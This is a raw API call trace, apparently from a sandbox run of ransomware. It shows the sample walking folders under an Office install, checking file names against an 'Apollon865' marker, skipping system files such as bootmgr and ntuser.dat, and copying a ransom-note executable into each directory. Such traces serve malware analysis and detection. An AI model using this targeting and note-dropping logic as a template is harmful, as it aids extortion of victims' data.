	[0071.322] lstrlenW (lpString="Apollon865") returned 10
	[0071.322] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.322] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="DiscussionToolIconImages.jpg" | out: lpString1="DiscussionToolIconImages.jpg") returned="DiscussionToolIconImages.jpg"
	[0071.322] lstrlenW (lpString="DiscussionToolIconImages.jpg") returned 28
	[0071.322] lstrlenW (lpString="Apollon865") returned 10
	[0071.322] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.322] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="DiscussionToolIconImagesMask.bmp" | out: lpString1="DiscussionToolIconImagesMask.bmp") returned="DiscussionToolIconImagesMask.bmp"
	[0071.322] lstrlenW (lpString="DiscussionToolIconImagesMask.bmp") returned 32
	[0071.322] lstrlenW (lpString="Apollon865") returned 10
	[0071.322] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.322] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="Form_StatusImage.jpg" | out: lpString1="Form_StatusImage.jpg") returned="Form_StatusImage.jpg"
	[0071.322] lstrlenW (lpString="Form_StatusImage.jpg") returned 20
	[0071.322] lstrlenW (lpString="Apollon865") returned 10
	[0071.322] lstrcmpiW (lpString1="sImage.jpg", lpString2="Apollon865") returned 1
	[0071.322] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="Form_StatusImageMask.bmp" | out: lpString1="Form_StatusImageMask.bmp") returned="Form_StatusImageMask.bmp"
	[0071.322] lstrlenW (lpString="Form_StatusImageMask.bmp") returned 24
	[0071.322] lstrlenW (lpString="Apollon865") returned 10
	[0071.322] lstrcmpiW (lpString1="geMask.bmp", lpString2="Apollon865") returned 1
	[0071.322] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="GRIP.JPG" | out: lpString1="GRIP.JPG") returned="GRIP.JPG"
	[0071.322] lstrlenW (lpString="GRIP.JPG") returned 8
	[0071.323] lstrlenW (lpString="Apollon865") returned 10
	[0071.323] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="GRIPMASK.BMP" | out: lpString1="GRIPMASK.BMP") returned="GRIPMASK.BMP"
	[0071.323] lstrlenW (lpString="GRIPMASK.BMP") returned 12
	[0071.323] lstrlenW (lpString="Apollon865") returned 10
	[0071.323] lstrcmpiW (lpString1="IPMASK.BMP", lpString2="Apollon865") returned 1
	[0071.323] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="InformationIcon.jpg" | out: lpString1="InformationIcon.jpg") returned="InformationIcon.jpg"
	[0071.323] lstrlenW (lpString="InformationIcon.jpg") returned 19
	[0071.323] lstrlenW (lpString="Apollon865") returned 10
	[0071.323] lstrcmpiW (lpString1="onIcon.jpg", lpString2="Apollon865") returned 1
	[0071.323] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="InformationIconMask.bmp" | out: lpString1="InformationIconMask.bmp") returned="InformationIconMask.bmp"
	[0071.323] lstrlenW (lpString="InformationIconMask.bmp") returned 23
	[0071.323] lstrlenW (lpString="Apollon865") returned 10
	[0071.323] lstrcmpiW (lpString1="onMask.bmp", lpString2="Apollon865") returned 1
	[0071.323] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="LoginDialogBackground.jpg" | out: lpString1="LoginDialogBackground.jpg") returned="LoginDialogBackground.jpg"
	[0071.323] lstrlenW (lpString="LoginDialogBackground.jpg") returned 25
	[0071.323] lstrlenW (lpString="Apollon865") returned 10
	[0071.323] lstrcmpiW (lpString1="ground.jpg", lpString2="Apollon865") returned 1
	[0071.323] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="LoginTool24x24Images.jpg" | out: lpString1="LoginTool24x24Images.jpg") returned="LoginTool24x24Images.jpg"
	[0071.323] lstrlenW (lpString="LoginTool24x24Images.jpg") returned 24
	[0071.323] lstrlenW (lpString="Apollon865") returned 10
	[0071.323] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.323] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="LoginTool24x24ImagesMask.bmp" | out: lpString1="LoginTool24x24ImagesMask.bmp") returned="LoginTool24x24ImagesMask.bmp"
	[0071.323] lstrlenW (lpString="LoginTool24x24ImagesMask.bmp") returned 28
	[0071.323] lstrlenW (lpString="Apollon865") returned 10
	[0071.324] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.324] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="MessageAttachmentIconImages.jpg" | out: lpString1="MessageAttachmentIconImages.jpg") returned="MessageAttachmentIconImages.jpg"
	[0071.324] lstrlenW (lpString="MessageAttachmentIconImages.jpg") returned 31
	[0071.324] lstrlenW (lpString="Apollon865") returned 10
	[0071.324] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.324] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="MessageAttachmentIconImagesMask.bmp" | out: lpString1="MessageAttachmentIconImagesMask.bmp") returned="MessageAttachmentIconImagesMask.bmp"
	[0071.324] lstrlenW (lpString="MessageAttachmentIconImagesMask.bmp") returned 35
	[0071.324] lstrlenW (lpString="Apollon865") returned 10
	[0071.324] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.324] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="MessageHistoryIconImages.jpg" | out: lpString1="MessageHistoryIconImages.jpg") returned="MessageHistoryIconImages.jpg"
	[0071.324] lstrlenW (lpString="MessageHistoryIconImages.jpg") returned 28
	[0071.324] lstrlenW (lpString="Apollon865") returned 10
	[0071.324] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.324] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="MessageHistoryIconImagesMask.bmp" | out: lpString1="MessageHistoryIconImagesMask.bmp") returned="MessageHistoryIconImagesMask.bmp"
	[0071.324] lstrlenW (lpString="MessageHistoryIconImagesMask.bmp") returned 32
	[0071.324] lstrlenW (lpString="Apollon865") returned 10
	[0071.324] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.324] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="NotifierBackground.jpg" | out: lpString1="NotifierBackground.jpg") returned="NotifierBackground.jpg"
	[0071.324] lstrlenW (lpString="NotifierBackground.jpg") returned 22
	[0071.324] lstrlenW (lpString="Apollon865") returned 10
	[0071.324] lstrcmpiW (lpString1="ground.jpg", lpString2="Apollon865") returned 1
	[0071.325] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="NotifierBackgroundRTL.jpg" | out: lpString1="NotifierBackgroundRTL.jpg") returned="NotifierBackgroundRTL.jpg"
	[0071.325] lstrlenW (lpString="NotifierBackgroundRTL.jpg") returned 25
	[0071.325] lstrlenW (lpString="Apollon865") returned 10
	[0071.326] lstrcmpiW (lpString1="undRTL.jpg", lpString2="Apollon865") returned 1
	[0071.326] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="NotifierCloseButton.jpg" | out: lpString1="NotifierCloseButton.jpg") returned="NotifierCloseButton.jpg"
	[0071.326] lstrlenW (lpString="NotifierCloseButton.jpg") returned 23
	[0071.326] lstrlenW (lpString="Apollon865") returned 10
	[0071.326] lstrcmpiW (lpString1="Button.jpg", lpString2="Apollon865") returned 1
	[0071.326] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="NotifierDisableDownArrow.jpg" | out: lpString1="NotifierDisableDownArrow.jpg") returned="NotifierDisableDownArrow.jpg"
	[0071.326] lstrlenW (lpString="NotifierDisableDownArrow.jpg") returned 28
	[0071.326] lstrlenW (lpString="Apollon865") returned 10
	[0071.326] lstrcmpiW (lpString1="nArrow.jpg", lpString2="Apollon865") returned 1
	[0071.326] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="NotifierDisableUpArrow.jpg" | out: lpString1="NotifierDisableUpArrow.jpg") returned="NotifierDisableUpArrow.jpg"
	[0071.326] lstrlenW (lpString="NotifierDisableUpArrow.jpg") returned 26
	[0071.326] lstrlenW (lpString="Apollon865") returned 10
	[0071.326] lstrcmpiW (lpString1="pArrow.jpg", lpString2="Apollon865") returned 1
	[0071.326] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="NotifierDownArrow.jpg" | out: lpString1="NotifierDownArrow.jpg") returned="NotifierDownArrow.jpg"
	[0071.326] lstrlenW (lpString="NotifierDownArrow.jpg") returned 21
	[0071.326] lstrlenW (lpString="Apollon865") returned 10
	[0071.326] lstrcmpiW (lpString1="nArrow.jpg", lpString2="Apollon865") returned 1
	[0071.326] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="NotifierUpArrow.jpg" | out: lpString1="NotifierUpArrow.jpg") returned="NotifierUpArrow.jpg"
	[0071.326] lstrlenW (lpString="NotifierUpArrow.jpg") returned 19
	[0071.326] lstrlenW (lpString="Apollon865") returned 10
	[0071.326] lstrcmpiW (lpString1="pArrow.jpg", lpString2="Apollon865") returned 1
	[0071.326] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="NotifierWindowMask.bmp" | out: lpString1="NotifierWindowMask.bmp") returned="NotifierWindowMask.bmp"
	[0071.327] lstrlenW (lpString="NotifierWindowMask.bmp") returned 22
	[0071.327] lstrlenW (lpString="Apollon865") returned 10
	[0071.327] lstrcmpiW (lpString1="owMask.bmp", lpString2="Apollon865") returned 1
	[0071.327] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="NotifierWindowMaskRTL.bmp" | out: lpString1="NotifierWindowMaskRTL.bmp") returned="NotifierWindowMaskRTL.bmp"
	[0071.327] lstrlenW (lpString="NotifierWindowMaskRTL.bmp") returned 25
	[0071.327] lstrlenW (lpString="Apollon865") returned 10
	[0071.327] lstrcmpiW (lpString1="askRTL.bmp", lpString2="Apollon865") returned 1
	[0071.327] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="OutlineToolIconImages.jpg" | out: lpString1="OutlineToolIconImages.jpg") returned="OutlineToolIconImages.jpg"
	[0071.327] lstrlenW (lpString="OutlineToolIconImages.jpg") returned 25
	[0071.327] lstrlenW (lpString="Apollon865") returned 10
	[0071.327] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.327] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="OutlineToolIconImagesMask.bmp" | out: lpString1="OutlineToolIconImagesMask.bmp") returned="OutlineToolIconImagesMask.bmp"
	[0071.327] lstrlenW (lpString="OutlineToolIconImagesMask.bmp") returned 29
	[0071.327] lstrlenW (lpString="Apollon865") returned 10
	[0071.327] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.327] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="OutofSyncIconImages.jpg" | out: lpString1="OutofSyncIconImages.jpg") returned="OutofSyncIconImages.jpg"
	[0071.327] lstrlenW (lpString="OutofSyncIconImages.jpg") returned 23
	[0071.327] lstrlenW (lpString="Apollon865") returned 10
	[0071.327] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.327] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="OutofSyncIconImagesMask.bmp" | out: lpString1="OutofSyncIconImagesMask.bmp") returned="OutofSyncIconImagesMask.bmp"
	[0071.327] lstrlenW (lpString="OutofSyncIconImagesMask.bmp") returned 27
	[0071.327] lstrlenW (lpString="Apollon865") returned 10
	[0071.327] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.327] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="PicturesToolIconImages.jpg" | out: lpString1="PicturesToolIconImages.jpg") returned="PicturesToolIconImages.jpg"
	[0071.328] lstrlenW (lpString="PicturesToolIconImages.jpg") returned 26
	[0071.328] lstrlenW (lpString="Apollon865") returned 10
	[0071.328] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.328] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="PicturesToolIconImagesMask.bmp" | out: lpString1="PicturesToolIconImagesMask.bmp") returned="PicturesToolIconImagesMask.bmp"
	[0071.328] lstrlenW (lpString="PicturesToolIconImagesMask.bmp") returned 30
	[0071.328] lstrlenW (lpString="Apollon865") returned 10
	[0071.328] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.328] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="QuestionIcon.jpg" | out: lpString1="QuestionIcon.jpg") returned="QuestionIcon.jpg"
	[0071.328] lstrlenW (lpString="QuestionIcon.jpg") returned 16
	[0071.328] lstrlenW (lpString="Apollon865") returned 10
	[0071.328] lstrcmpiW (lpString1="onIcon.jpg", lpString2="Apollon865") returned 1
	[0071.328] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="QuestionIconMask.bmp" | out: lpString1="QuestionIconMask.bmp") returned="QuestionIconMask.bmp"
	[0071.328] lstrlenW (lpString="QuestionIconMask.bmp") returned 20
	[0071.328] lstrlenW (lpString="Apollon865") returned 10
	[0071.328] lstrcmpiW (lpString1="onMask.bmp", lpString2="Apollon865") returned 1
	[0071.328] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="Shared16x16Images.jpg" | out: lpString1="Shared16x16Images.jpg") returned="Shared16x16Images.jpg"
	[0071.328] lstrlenW (lpString="Shared16x16Images.jpg") returned 21
	[0071.328] lstrlenW (lpString="Apollon865") returned 10
	[0071.328] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.328] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="Shared16x16ImagesMask.bmp" | out: lpString1="Shared16x16ImagesMask.bmp") returned="Shared16x16ImagesMask.bmp"
	[0071.328] lstrlenW (lpString="Shared16x16ImagesMask.bmp") returned 25
	[0071.328] lstrlenW (lpString="Apollon865") returned 10
	[0071.328] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.328] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="Shared24x24Images.jpg" | out: lpString1="Shared24x24Images.jpg") returned="Shared24x24Images.jpg"
	[0071.329] lstrlenW (lpString="Shared24x24Images.jpg") returned 21
	[0071.329] lstrlenW (lpString="Apollon865") returned 10
	[0071.329] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.329] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="Shared24x24ImagesMask.bmp" | out: lpString1="Shared24x24ImagesMask.bmp") returned="Shared24x24ImagesMask.bmp"
	[0071.329] lstrlenW (lpString="Shared24x24ImagesMask.bmp") returned 25
	[0071.329] lstrlenW (lpString="Apollon865") returned 10
	[0071.329] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.329] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="SketchIconImages.bmp" | out: lpString1="SketchIconImages.bmp") returned="SketchIconImages.bmp"
	[0071.329] lstrlenW (lpString="SketchIconImages.bmp") returned 20
	[0071.329] lstrlenW (lpString="Apollon865") returned 10
	[0071.329] lstrcmpiW (lpString1="Images.bmp", lpString2="Apollon865") returned 1
	[0071.329] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="spacebackupicons.jpg" | out: lpString1="spacebackupicons.jpg") returned="spacebackupicons.jpg"
	[0071.329] lstrlenW (lpString="spacebackupicons.jpg") returned 20
	[0071.329] lstrlenW (lpString="Apollon865") returned 10
	[0071.329] lstrcmpiW (lpString1="picons.jpg", lpString2="Apollon865") returned 1
	[0071.329] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="spacebackupiconsmask.bmp" | out: lpString1="spacebackupiconsmask.bmp") returned="spacebackupiconsmask.bmp"
	[0071.329] lstrlenW (lpString="spacebackupiconsmask.bmp") returned 24
	[0071.329] lstrlenW (lpString="Apollon865") returned 10
	[0071.329] lstrcmpiW (lpString1="nsmask.bmp", lpString2="Apollon865") returned 1
	[0071.329] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="STOPICON.JPG" | out: lpString1="STOPICON.JPG") returned="STOPICON.JPG"
	[0071.329] lstrlenW (lpString="STOPICON.JPG") returned 12
	[0071.329] lstrlenW (lpString="Apollon865") returned 10
	[0071.329] lstrcmpiW (lpString1="OPICON.JPG", lpString2="Apollon865") returned 1
	[0071.330] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="StopIconMask.bmp" | out: lpString1="StopIconMask.bmp") returned="StopIconMask.bmp"
	[0071.330] lstrlenW (lpString="StopIconMask.bmp") returned 16
	[0071.330] lstrlenW (lpString="Apollon865") returned 10
	[0071.330] lstrcmpiW (lpString1="onMask.bmp", lpString2="Apollon865") returned 1
	[0071.330] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="TaskbarIconImages256Colors.bmp" | out: lpString1="TaskbarIconImages256Colors.bmp") returned="TaskbarIconImages256Colors.bmp"
	[0071.330] lstrlenW (lpString="TaskbarIconImages256Colors.bmp") returned 30
	[0071.330] lstrlenW (lpString="Apollon865") returned 10
	[0071.330] lstrcmpiW (lpString1="Colors.bmp", lpString2="Apollon865") returned 1
	[0071.330] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="TaskbarIconImagesMask256Colors.bmp" | out: lpString1="TaskbarIconImagesMask256Colors.bmp") returned="TaskbarIconImagesMask256Colors.bmp"
	[0071.330] lstrlenW (lpString="TaskbarIconImagesMask256Colors.bmp") returned 34
	[0071.330] lstrlenW (lpString="Apollon865") returned 10
	[0071.330] lstrcmpiW (lpString1="Colors.bmp", lpString2="Apollon865") returned 1
	[0071.330] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="TipsImage.jpg" | out: lpString1="TipsImage.jpg") returned="TipsImage.jpg"
	[0071.330] lstrlenW (lpString="TipsImage.jpg") returned 13
	[0071.330] lstrlenW (lpString="Apollon865") returned 10
	[0071.330] lstrcmpiW (lpString1="sImage.jpg", lpString2="Apollon865") returned 1
	[0071.330] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="TipsImageMask.bmp" | out: lpString1="TipsImageMask.bmp") returned="TipsImageMask.bmp"
	[0071.330] lstrlenW (lpString="TipsImageMask.bmp") returned 17
	[0071.330] lstrlenW (lpString="Apollon865") returned 10
	[0071.330] lstrcmpiW (lpString1="geMask.bmp", lpString2="Apollon865") returned 1
	[0071.330] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="VeriSignLogo.jpg" | out: lpString1="VeriSignLogo.jpg") returned="VeriSignLogo.jpg"
	[0071.330] lstrlenW (lpString="VeriSignLogo.jpg") returned 16
	[0071.330] lstrlenW (lpString="Apollon865") returned 10
	[0071.330] lstrcmpiW (lpString1="gnLogo.jpg", lpString2="Apollon865") returned 1
	[0071.331] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="WebToolIconImages.jpg" | out: lpString1="WebToolIconImages.jpg") returned="WebToolIconImages.jpg"
	[0071.331] lstrlenW (lpString="WebToolIconImages.jpg") returned 21
	[0071.331] lstrlenW (lpString="Apollon865") returned 10
	[0071.331] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.331] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="WebToolIconImagesMask.bmp" | out: lpString1="WebToolIconImagesMask.bmp") returned="WebToolIconImagesMask.bmp"
	[0071.331] lstrlenW (lpString="WebToolIconImagesMask.bmp") returned 25
	[0071.331] lstrlenW (lpString="Apollon865") returned 10
	[0071.331] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.331] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="WebToolImages16x16.jpg" | out: lpString1="WebToolImages16x16.jpg") returned="WebToolImages16x16.jpg"
	[0071.331] lstrlenW (lpString="WebToolImages16x16.jpg") returned 22
	[0071.331] lstrlenW (lpString="Apollon865") returned 10
	[0071.331] lstrcmpiW (lpString1="s16x16.jpg", lpString2="Apollon865") returned 1
	[0071.331] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="WebToolImagesMask16x16.bmp" | out: lpString1="WebToolImagesMask16x16.bmp") returned="WebToolImagesMask16x16.bmp"
	[0071.331] lstrlenW (lpString="WebToolImagesMask16x16.bmp") returned 26
	[0071.331] lstrlenW (lpString="Apollon865") returned 10
	[0071.331] lstrcmpiW (lpString1="k16x16.bmp", lpString2="Apollon865") returned 1
	[0071.331] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="WSSFilesToolIconImages.jpg" | out: lpString1="WSSFilesToolIconImages.jpg") returned="WSSFilesToolIconImages.jpg"
	[0071.331] lstrlenW (lpString="WSSFilesToolIconImages.jpg") returned 26
	[0071.331] lstrlenW (lpString="Apollon865") returned 10
	[0071.331] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.331] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="WSSFilesToolIconImagesMask.bmp" | out: lpString1="WSSFilesToolIconImagesMask.bmp") returned="WSSFilesToolIconImagesMask.bmp"
	[0071.331] lstrlenW (lpString="WSSFilesToolIconImagesMask.bmp") returned 30
	[0071.331] lstrlenW (lpString="Apollon865") returned 10
	[0071.332] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.332] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds"
	[0071.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591440 | out: hHeap=0x580000) returned 1
	[0071.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0071.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds") returned 56
	[0071.332] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds"
	[0071.332] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.332] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.336] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.336] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42970270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42970270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.336] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.336] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.336] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.336] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42970270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42970270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.336] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.336] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.336] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.336] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.336] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42970270, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x42970270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0071.337] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0071.337] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="People", cAlternateFileName="")) returned 1
	[0071.337] lstrcmpiW (lpString1="People", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0071.337] lstrcmpiW (lpString1="People", lpString2="Apollon865.txt.exe") returned 1
	[0071.337] lstrcmpiW (lpString1="People", lpString2=".") returned 1
	[0071.337] lstrcmpiW (lpString1="People", lpString2="..") returned 1
	[0071.337] lstrcmpiW (lpString1="People", lpString2="windows") returned -1
	[0071.337] lstrcmpiW (lpString1="People", lpString2="bootmgr") returned 1
	[0071.337] lstrcmpiW (lpString1="People", lpString2="temp") returned -1
	[0071.337] lstrcmpiW (lpString1="People", lpString2="pagefile.sys") returned 1
	[0071.337] lstrcmpiW (lpString1="People", lpString2="boot") returned 1
	[0071.337] lstrcmpiW (lpString1="People", lpString2="ids.txt") returned 1
	[0071.337] lstrcmpiW (lpString1="People", lpString2="ntuser.dat") returned 1
	[0071.337] lstrcmpiW (lpString1="People", lpString2="perflogs") returned -1
	[0071.337] lstrcmpiW (lpString1="People", lpString2="MSBuild") returned 1
	[0071.337] lstrlenW (lpString="People") returned 6
	[0071.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*") returned 58
	[0071.337] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="People" | out: lpString1="People") returned="People"
	[0071.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0071.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf898
	[0071.337] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0071.337] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1
	[0071.337] lstrcmpiW (lpString1="Places", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0071.337] lstrcmpiW (lpString1="Places", lpString2="Apollon865.txt.exe") returned 1
	[0071.337] lstrcmpiW (lpString1="Places", lpString2=".") returned 1
	[0071.337] lstrcmpiW (lpString1="Places", lpString2="..") returned 1
	[0071.337] lstrcmpiW (lpString1="Places", lpString2="windows") returned -1
	[0071.337] lstrcmpiW (lpString1="Places", lpString2="bootmgr") returned 1
	[0071.337] lstrcmpiW (lpString1="Places", lpString2="temp") returned -1
	[0071.337] lstrcmpiW (lpString1="Places", lpString2="pagefile.sys") returned 1
	[0071.337] lstrcmpiW (lpString1="Places", lpString2="boot") returned 1
	[0071.337] lstrcmpiW (lpString1="Places", lpString2="ids.txt") returned 1
	[0071.337] lstrcmpiW (lpString1="Places", lpString2="ntuser.dat") returned 1
	[0071.337] lstrcmpiW (lpString1="Places", lpString2="perflogs") returned 1
	[0071.337] lstrcmpiW (lpString1="Places", lpString2="MSBuild") returned 1
	[0071.337] lstrlenW (lpString="Places") returned 6
